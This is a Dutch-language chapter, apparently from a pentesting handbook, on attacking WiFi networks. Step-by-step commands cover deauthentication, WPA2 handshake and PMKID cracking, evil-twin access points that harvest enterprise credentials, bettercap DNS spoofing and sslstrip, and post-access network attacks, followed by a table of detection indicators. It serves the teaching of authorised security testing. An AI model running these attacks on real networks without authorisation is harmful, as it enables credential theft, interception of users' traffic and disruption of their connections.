Wireless en WiFi Pentesting
De ether als aanvalsoppervlak
Er is iets poëtisch aan WiFi-pentesting. Bij een webapplicatie zit je achter een scherm en stuur je pakketjes door een kabel. Bij een netwerk-pentest heb je tenminste nog een Ethernet-aansluiting. Maar bij WiFi zit je letterlijk in een bestelbus op de parkeerplaats van het doelwit en vangt je radiogolven op met een antenne die eruitziet alsof je hem hebt gekocht bij een rommelbeurs. Wat je ook precies doet.
Wireless-pentesting is het testen van de beveiligingsmaatregelen rondom draadloze netwerken. Dat klinkt eenvoudig, maar de realiteit is een labyrint van protocollen, handshakes, encryptiemethoden en hardwarecompatibiliteitsproblemen die je doen verlangen naar de eenvoud van SQL Injection.
De reden dat WiFi-beveiliging zo complex is, heeft te maken met het fundamentele verschil tussen bedrade en draadloze netwerken. Een bedraad netwerk heeft een fysieke grens: je moet een kabel in een poort steken. Een draadloos netwerk heeft geen grens. Het signaal stopt niet bij de muur van het kantoor — het gaat door de muur heen, de straat op, het parkeerterrein over, en het café aan de overkant in. Iedereen binnen bereik kan het signaal ontvangen. Iedereen.
Hardware en setup
De juiste adapter
Je laptop’s ingebouwde WiFi-adapter is ontworpen om verbinding te maken met netwerken. Dat is niet wat wij doen. Wij willen luisteren naar verkeer dat niet voor ons bedoeld is, en pakketten injecteren die niet van ons afkomstig zouden moeten zijn. Daarvoor heb je een adapter die monitor mode en packet injection ondersteunt.
Dit is een van de weinige gebieden in pentesting waar hardware ertoe doet. De verkeerde adapter betekent dat geen enkele tool werkt, hoe goed je ook bent. Het is alsof je probeert te vissen met een hamer — je kunt er hard mee slaan, maar je vangt er geen vis mee.
| Adapter | Chipset | Frequentie | Opmerkingen |
|---|---|---|---|
| Alfa AWUS036ACH | RTL8812AU | 2.4 + 5 GHz | Betrouwbaar op Kali, goede range |
| Alfa AWUS036AXML | MediaTek MT7921AU | 2.4 + 5 + 6 GHz | WiFi 6 support, nieuwer |
| TP-Link TL-WN722N v1 | Atheros AR9271 | 2.4 GHz | Budget, alleen v1 werkt! |
| Alfa AWUS1900 | RTL8814AU | 2.4 + 5 GHz | 4 antennes, maximale range |
Monitor mode activeren
# Identificeer je adapter
iwconfig
# wlan0 IEEE 802.11 ESSID:off/any Mode:Managed
# Methode 1: airmon-ng (aanbevolen)
airmon-ng check kill # Stop interfering processen (NetworkManager etc.)
airmon-ng start wlan0
# wlan0mon is nu je monitor mode interface
# Methode 2: handmatig (als airmon-ng niet werkt)
ip link set wlan0 down
iw wlan0 set type monitor
ip link set wlan0 up
iw wlan0 set channel 6 # Optioneel: lock op een kanaal
# Verifieer
iwconfig wlan0mon
# Mode:Monitor ← succes!
Die eerste stap — airmon-ng check kill — is cruciaal. NetworkManager probeert continu je adapter te gebruiken om verbinding te maken met netwerken. Als je monitor mode probeert te activeren terwijl NetworkManager draait, is het alsof je probeert mee te luisteren met een gesprek terwijl iemand naast je een feesttoeter blaast.
Verkenning: wat is er in de lucht?
# Scan alle netwerken op alle kanalen
airodump-ng wlan0mon
# Output:
# BSSID PWR Beacons #Data #/s CH ENC AUTH ESSID
# AA:BB:CC:DD:EE:FF -42 1247 893 12 6 WPA2 PSK TargetNetwork
# 11:22:33:44:55:66 -71 843 21 0 1 WPA2 MGT CorpWiFi
# 77:88:99:00:11:22 -85 234 0 0 11 OPN FreeWiFi
# Interpretatie:
# PWR: signaalsterkte (hoe dichter bij 0, hoe sterker)
# ENC: encryptie (WPA2, WPA3, WEP, OPN = open)
# AUTH: authenticatie (PSK = pre-shared key, MGT = 802.1X enterprise)
# #Data: datapakketten (meer = actievere clients = beter voor ons)
# Focus op één netwerk
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon
# Nu zie je ook de verbonden clients:
# STATION PWR Packets BSSID
# CC:DD:EE:FF:00:11 -38 1892 AA:BB:CC:DD:EE:FF <-- actieve client
WPA2-PSK aanvallen
De 4-way handshake: het gouden ticket
WPA2-PSK authenticatie werkt via een 4-way handshake tussen de client en het access point. Als je deze handshake vangt — alle vier de EAPOL-frames — heb je alles wat je nodig hebt om het wachtwoord offline te kraken. Je hebt het wachtwoord zelf niet nodig om de handshake te vangen; je hoeft alleen maar te luisteren terwijl iemand anders verbinding maakt.
# Stap 1: Monitor het netwerk en wacht op een handshake
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon
# Stap 2: Forceer een herverbinding (in een tweede terminal)
# Deauthenticatie: stuur disconnect-pakketten naar een client
aireplay-ng -0 5 -a AA:BB:CC:DD:EE:FF -c CC:DD:EE:FF:00:11 wlan0mon
# -0 5: stuur 5 deauth-frames
# -a: BSSID van het access point
# -c: MAC-adres van de client
# De client disconnect en reconnect automatisch.
# Tijdens die reconnect vangt airodump de handshake.
# Je ziet rechtsboven: "WPA handshake: AA:BB:CC:DD:EE:FF"
# Stap 3: Kraken met aircrack-ng (CPU)
aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap
# Stap 4: Kraken met hashcat (GPU, veel sneller)
# Converteer eerst naar hashcat-formaat
hcxpcapngtool capture-01.cap -o hash.hc22000
# Kraken
hashcat -m 22000 hash.hc22000 /usr/share/wordlists/rockyou.txt
# Hashcat snelheden (voorbeeld):
# GTX 1080: ~400.000 WPA2 hashes/seconde
# RTX 4090: ~2.500.000 WPA2 hashes/seconde
# rockyou.txt (14M woorden) in 6 seconden op een RTX 4090
De deauthenticatie-aanval is de brutale maar effectieve methode. Je gooit iemand van het netwerk af en wacht tot hij terugkomt. Het is als de brandalarm in een kantoor laten afgaan zodat je kunt kijken wie welke sleutel gebruikt om weer naar binnen te gaan.
PMKID aanval: zonder deauthenticatie
De PMKID-aanval, ontdekt in 2018 door Jens “atom” Steube (de maker van hashcat), was een game-changer. Je hebt geen client nodig. Je hebt geen deauthenticatie nodig. Je hoeft alleen maar het eerste bericht van de 4-way handshake op te vangen — en dat wordt door het access point zelf gestuurd als reactie op een associatie-verzoek.
# hcxdumptool: vangt PMKID's (en handshakes) passief
hcxdumptool -i wlan0mon --enable_status=1 -o dump.pcapng
# Laat het een paar minuten draaien
# Het stuurt automatisch associatie-requests naar elk AP in bereik
# en vangt de PMKID op uit de response
# Converteer naar hashcat-formaat
hcxpcapngtool dump.pcapng -o hash.hc22000
# Kraken
hashcat -m 22000 hash.hc22000 wordlist.txt
# Waarom werkt dit?
# De PMKID is: HMAC-SHA1-128(PMK, "PMK Name" || MAC_AP || MAC_Client)
# De PMK wordt afgeleid van het WiFi-wachtwoord
# Als je de PMKID hebt + het SSID + beide MAC-adressen,
# kun je offline wachtwoorden proberen
WPA Enterprise (802.1X)
WPA Enterprise is fundamenteel anders dan WPA-PSK. In plaats van een gedeeld wachtwoord, heeft elke gebruiker eigen credentials. Authenticatie verloopt via een RADIUS-server en het EAP (Extensible Authentication Protocol) framework. De meest voorkomende variant is PEAP-MSCHAPv2: de client maakt een TLS-tunnel naar de RADIUS-server en stuurt daarbinnen een gebruikersnaam en wachtwoord-hash.
# Evil Twin aanval op WPA Enterprise
# Stap 1: Maak een fake access point met dezelfde SSID
# hostapd-mana: een gemodificeerde hostapd die credentials vangt
cat > mana.conf <<EOF
interface=wlan0mon
ssid=CorpWiFi
channel=1
hw_mode=g
ieee8021x=1
eap_server=1
eap_user_file=mana.eap_user
ca_cert=/etc/freeradius/3.0/certs/ca.pem
server_cert=/etc/freeradius/3.0/certs/server.pem
private_key=/etc/freeradius/3.0/certs/server.key
mana_wpe=1
mana_eapsuccess=1
EOF
hostapd-mana mana.conf
# Stap 2: Deauth clients van het echte AP
aireplay-ng -0 0 -a REAL_AP_BSSID wlan0mon
# Clients reconnecten naar jouw fake AP en sturen hun credentials
# Je ziet MSCHAPv2 challenge/response paren in de output
# Stap 3: Kraken
# asleap (specifiek voor MSCHAPv2)
asleap -C CHALLENGE_HEX -R RESPONSE_HEX -W /usr/share/wordlists/rockyou.txt
# hashcat (mode 5500 voor NetNTLMv1, mode 5600 voor NetNTLMv2)
hashcat -m 5500 hash.txt /usr/share/wordlists/rockyou.txt
Evil Twin: de valse tweeling
Een Evil Twin is een nep access point dat zich voordoet als een legitiem netwerk. Wanneer een gebruiker verbinding maakt met de Evil Twin in plaats van het echte AP, loopt al het verkeer via jou. Het is de WiFi-variant van een man-in-the-middle aanval, maar dan zonder dat je een bestaande verbinding hoeft te onderscheppen — de gebruiker komt vrijwillig naar jou toe.
# Methode 1: Eenvoudige Evil Twin met hostapd + dnsmasq
# hostapd.conf
interface=wlan0mon
ssid=FreeWiFi
channel=6
hw_mode=g
# dnsmasq.conf (DHCP + DNS)
interface=wlan0mon
dhcp-range=192.168.1.10,192.168.1.100,255.255.255.0,12h
server=8.8.8.8
# Start
hostapd hostapd.conf &
dnsmasq -C dnsmasq.conf &
# Routing en NAT
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
echo 1 > /proc/sys/net/ipv4/ip_forward
# Nu fungeert je laptop als een werkend access point
# Al het verkeer van verbonden clients loopt via jou
# Methode 2: Captive portal (credential harvesting)
# Gebruik Fluxion of WiFi-Pumpkin voor een automatische setup
# De client ziet een inlogpagina die lijkt op de corporate WiFi portal
Post-exploitatie
Zodra je op het WiFi-netwerk zit — hetzij door het wachtwoord te kraken, hetzij via een Evil Twin — ben je een interne aanvaller. Nu beginnen de technieken uit Deel II: Initiële Toegang:
# Netwerk discovery
arp-scan -l
nmap -sn 192.168.1.0/24
# Credential harvesting
responder -I wlan0 -dwP
# MITM
bettercap -iface wlan0 -eval "net.sniff on; net.probe on"
# Vanaf hier: pivot naar het interne netwerk
# Zie Deel II voor Active Directory, Kerberos, laterale beweging
WiFi Pentest Checklist
| Test | Tool | Doel |
|---|---|---|
| Netwerk-scan | airodump-ng | Alle AP’s en clients in kaart |
| WPA2-PSK handshake | airodump-ng + aireplay-ng | Wachtwoord offline kraken |
| PMKID | hcxdumptool | Clientless wachtwoord capture |
| WPA Enterprise | hostapd-mana | Credential harvesting via Evil Twin |
| Evil Twin | hostapd + dnsmasq | MITM en credential capture |
| Client isolation | arp-scan + nmap | Kunnen clients elkaar bereiken? |
| Rogue AP detectie | airodump-ng | Ongeautoriseerde access points |
| WPS | reaver/bully | WPS PIN brute force |
WPA3 en zijn beperkingen
WPA3 is de opvolger van WPA2 en lost een aantal fundamentele problemen op. De handshake gebruikt Simultaneous Authentication of Equals (SAE), ook bekend als Dragonfly, in plaats van de PSK 4-way handshake. Dit betekent dat je de handshake niet meer offline kunt kraken — elke poging vereist een interactie met het access point.
Maar WPA3 is niet onaantastbaar:
# Dragonblood aanvallen (CVE-2019-9494, CVE-2019-9495)
# Side-channel aanvallen op de SAE-handshake
# Sommige implementaties lekken timing-informatie
# WPA3 transition mode
# Veel netwerken ondersteunen WPA2 EN WPA3 tegelijk
# Een aanvaller kan een client dwingen om WPA2 te gebruiken (downgrade)
# door een fake AP op te zetten dat alleen WPA2 adverteert
# Test of transition mode actief is
airodump-ng wlan0mon | grep "WPA3\|SAE"
# Als je zowel WPA2 als WPA3 ziet voor dezelfde SSID: downgrade mogelijk
Bettercap: het Zwitserse zakmes voor WiFi
# Bettercap combineert meerdere tools in één interface
# Start bettercap in WiFi-modus
bettercap -iface wlan0mon
# Scan netwerken
wifi.recon on
# Deauth een specifieke client
wifi.deauth AA:BB:CC:DD:EE:FF
# Handshake capture
wifi.assoc all
# Handshakes worden automatisch opgeslagen
# MITM na verbinding met het netwerk
set net.sniff.verbose true
net.sniff on
# Nu zie je al het onversleutelde verkeer
# DNS spoofing
set dns.spoof.domains target.com
set dns.spoof.address YOUR_IP
dns.spoof on
# HTTP proxy met credential capture
set http.proxy.sslstrip true
http.proxy on
WiFi Forensics en Detectie
Als pentester wil je weten of je aanvallen gedetecteerd worden. Hier zijn de indicators die een WIDS (Wireless Intrusion Detection System) oppikt:
| Aanval | Detectie-indicator | Tools die het detecteren |
|---|---|---|
| Deauthenticatie | Burst van deauth-frames van onbekende bron | Kismet, AirMagnet, Cisco wIPS |
| Evil Twin | Tweede AP met dezelfde SSID maar ander BSSID | Kismet, FluxionDetect |
| PMKID harvesting | Ongebruikelijke associatie-requests zonder voltooiing | Weinig — moeilijk te detecteren |
| WPA Enterprise impersonation | RADIUS-server met ander certificaat | 802.1X supplicant controle, RADIUS logs |
| ARP spoofing (post-exploit) | MAC-adres wijzigingen in ARP-tabel | arpwatch, DHCP snooping |